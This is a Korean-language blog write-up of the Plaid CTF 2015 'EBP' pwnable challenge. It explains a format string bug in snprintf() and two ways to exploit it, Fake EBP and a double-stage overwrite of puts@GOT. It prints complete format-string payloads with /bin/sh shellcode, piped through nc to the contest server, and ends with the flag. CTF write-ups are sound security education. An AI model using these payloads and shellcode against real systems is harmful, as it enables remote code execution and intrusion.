본문으로 바로가기

[Plaid CTF 2015] Pwnable - EBP

category CTF/Hacking Defense Contest 2015. 4. 21. 17:09

문제

Pwnable (160 pts)

nc 52.6.64.173 4545 

Download%p%o%o%p.



ebp_a96f7231ab81e1b0d7fe24d660def25a.elf


문제를 설명만 봐도 대략적으로 포맷스트링 취약점을 이용한 것이라 판단하고 분석해보면 포맷스트링 버그가 맞다. 문제를 풀고 나서 다른 팀의 답을 보니 -_-; 문제 의도랑은 다르게 풀었나 싶다. 아마도 문제 의도는 포맷스트링 취약점과 Fake EBP 기법을 이용하여 푸는 것이라고 판단된다.

소스 코드 자체는 간단하게 디버깅 가능하지만 보기 편하게 Hex-ray로 디컴파일 한 내용은 다음과 같다.





여기서 포맷스트링 취약점이 존재하는 지점은 make_response()의 snprintf()가 호출되는 지점이다.



거의 모든 영역에서 실행이 가능한 것으로 확인되기 때문에 쉘코드를 버퍼에 두고 흐름을 쉘코드로 바꿀 수 있는 방법만 찾으면 된다.


- 여기서 해당 포맷스트링 취약점을 이용하여 공격하는 방법은 두 가지다

1) Fake EBP 기법을 이용한 Buffer의 쉘코드 실행

2) Double Stage Format String을 이용한 쉘코드 실행


문제의 의도는 문제 제목으로 추측해 보건데 Fake EBP 기법인 듯 하나 대회 당시 나는 2)번 방법으로 문제를 풀었다. 문제 풀이 자체는 1번이 좀 더 쉽다. 1번과 2번에 대한 간단한 설명과, 풀이 노트만 첨부한다.


1) Fake EBP 기법을 이용한 풀이의 경우


make_response() 함수의 SFP 영역을 포인터로 이용하여 다음 함수의 SFP 값을 "%n"으로 조작할 수 있다.

ex : %c%c%c%n을 입력할 경우 echo() 함수의 SFP 영역에 3이 들어가게 된다.

이 후 echo()로 복귀하고 echo()도 호출한 곳으로 복귀할 경우 RET 영역은 [EBP+4]에 있는 주소로 복귀할려고 할 것이며 여기서는 Segmentation Fault가 나게 된다.


우리가 입력한 버퍼는 0x0804a080에 존재한다. 그러므로 페이로드는 다음과 같다.

[EIP로 변경될 포인터][%..x][%..x][%..x][%n]

이렇게 할 경우 출력된 버퍼의 길이가 SFP 영역(위에서 0xbff9bd98)에 입력되게 된다.

Fake EBP : 0x0804a07c

Payload : "\x98\xa0\x04\x08" + "%8x%8x%134520936c%n" + ShellCode

(python -c 'print "\x98\xa0\x04\x08" + "%8x"*2 + %134520936c%n" + "\x58"*6 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'; cat) | nc 52.6.64.173 4545


-> 결과는 실패. 로컬에서 파일을 상대로 디버깅해봤더니 내가 입력한 페이로드가 다음과 같이 깨져있었다

아스키 코드표 범위 이 외의 값이 "\xef\xbf\xbd"로 변경되어있음.


2) Double Stage Format String을 이용한 공격

공격을 구성하기 위해 서식으로 접근할 수 있는 포인터를 찾는다.

Stage-0 : Stage-1에서 접근해야할 포인터 생성(puts@GOT)

Stage-1 : puts@GOT 영역에 ShellCode의 주소를 입력



입력 값 시작 주소 : 0x0804a080

puts@GOT 주소 : 0x804a014





PAYLOAD : "%8x"*2, "%134520836c%n", "%8x"*6, "%120c%n", NOP*50, Shellcode


대회 당시 내가 입력한 코드에 아스키 범위 바깥에 있는 코드가 실행되지 않았다. 그래서 아스키 범위 내에 있는 코드로만 쉘코드를 구성했다.

쉘코드는 단순히 /bin/sh를 실행시키는 코드이며, 최종 페이로드는 다음과 같다.


- 입력1

(python -c 'print "%8x"*2 + "%134520836c%n" + "%8x"*6 + "%120c%n" + "\x4e"*50 + "\x58"*6 + "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x54\x59\x6a\x3b\x58\x34\x30\xcd\x80"'; cat) | nc 52.6.64.173 4545


- 입력2

nc 52.6.64.173 4545

"%8x%8x%134520836c%n%8x%8x%8x%8x%8x%8x%120c%nNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNXXXXXXPh//shh/binT[PSTYj;X40̀"




flag is who_needs_stack_control_anyway?